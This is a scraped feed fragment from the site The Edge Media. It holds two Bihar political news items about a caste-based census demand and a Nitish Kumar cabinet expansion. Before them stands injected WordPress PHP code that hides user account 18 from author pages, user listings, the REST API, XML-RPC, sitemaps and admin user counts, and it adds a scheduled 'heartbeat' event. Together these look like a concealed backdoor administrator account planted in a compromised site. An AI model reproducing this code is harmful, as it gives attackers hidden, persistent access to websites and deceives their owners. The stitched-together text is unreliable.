add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>Mr Yadav said this while talking to reporters after calling on the chief minister inside the assembly premises, leading a delegation of leaders of the five-party Grand Alliance helmed by his RJD.
The Centre’s recent statement in the Parliament that a caste-based census would include only the Scheduled Tribes and Scheduled Castes has triggered a fresh demand for inclusion of the OBCs, who dominate the political scenario in Bihar post implementation of the Mandal commission report.
“The chief minister told us that he agreed with our demand for a caste based census. He said he was leaving for Delhi later in the day. Upon his return on August 02 he will write to the Prime Minister and seek an appointment”, Mr Yadav said.
The former Deputy Chief Minister has been suggesting that the chief minister should meet the PM heading a delegation, which could include the leader of the opposition, to broach the subject.
Notably, Mr Kumar, an OBC himself, too has repeatedly spoken in favour of holding a caste-based census and recently urged the centre to reconsider its stance on the issue.
Besides, resolutions in support of a caste-based census have been passed unanimously by both Houses of the state legislature in the past.
The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>The post Form of Nitish cabinet decided, who can become a minister from BJP and JDU? appeared first on The Edge Media.
]]>At present, there are 14 ministers in Bihar government regarding Nitish Kumar, out of which 7 are from BJP, 5 from Janata Dal United, 1 from Hindustani Awam Morcha and 1 from Vikas Insaan Party. The number of vacant ministerial posts in the Bihar government is 22 at this time. Nitish Kumar was constantly demanding that the vacant ministerial seat should be divided on the 50:50 formula and it seems that Nitish Kumar has been successful in putting pressure on the BJP.
According to information from sources, the vacancy of the ministerial post has been done on a 50:50 formula between BJP and Janata Dal United. It is believed that when Nitish’s cabinet gets expanded, then 11 ministers will be from BJP quota and the remaining 11 from Janata Dal United quota.
If on this basis, there is a ministerial division between the BJP and Janata Dal United, then there will be a total of 18 ministers from the BJP quota, 16 ministers from the Janata Dal United quota, one from the Hindustani Awam Morcha and one from the developing Insan Party.
Shahnawaz Hussain, a senior party leader and national spokesperson from the BJP quota, is almost certain to become a minister in the Nitish government. Shahnawaz Hussain had filed his nomination for Bihar Legislative Council by-election 2 days ago and no one had filed nomination against him and in such a situation he has become unopposed MLC.
MLC Samrat Chaudhary from BJP quota and Sanjeev Chaurasia, MLA from Digha are also in the race to become ministers. There is also talk of BJP MLA Rana Randhir from Madhuban and BJP MLA Pramod Kumar from Motihari. MLA Krishna Kumar Rishi from Banmankhi and Sanjay Kumar Singh from Lalganj can also become ministers.
Former minister from BJP quota and Nitish Mishra, MLA from Jhanjharpur and Sanjay Saraogi, MLA from Darbhanga can also become ministers. Ramnagar MLA Bhagirathi Devi from BJP quota and Rampravesh Rai, MLA from Barauli can also be made ministers.
It is almost certain to make Nalanda MLA and former minister Shravan Kumar a minister. Shravan Kumar is a Kurmi from the caste. Former minister Rajput quota and MLA from Dhamdaha Lacey Singh and independent MLA from Chakai Sumit Singh are likely to become ministers. Either of the two can be made a minister.
The names that are being discussed with Kushwaha quota include Amarpur MLA Jayant Raj and Harlakhi MLA Sudhanshu Shekhar. MLC Kumud Verma may also find a place in the Nitish cabinet. There is talk of making Parbatta MLA Sanjeev Singh from Bhumihar quota and Shalini Mishra, MLA from Kesariya. Former minister Neeraj Kumar can also be made a minister from Bhumihar quota.
Bahadurpur MLA and former minister Madan Sahni and MLA from Rupauli and former minister Bima Bharti can get a place in Nitish’s cabinet from the extremely backward quota. Former minister and MLA from Jhajha Damodar Rawat may also get a ministerial post. Former IPS officer from Dalit quota and Sunil Kumar, MLA from Bhore, can be made a minister.
The post Form of Nitish cabinet decided, who can become a minister from BJP and JDU? appeared first on The Edge Media.
]]>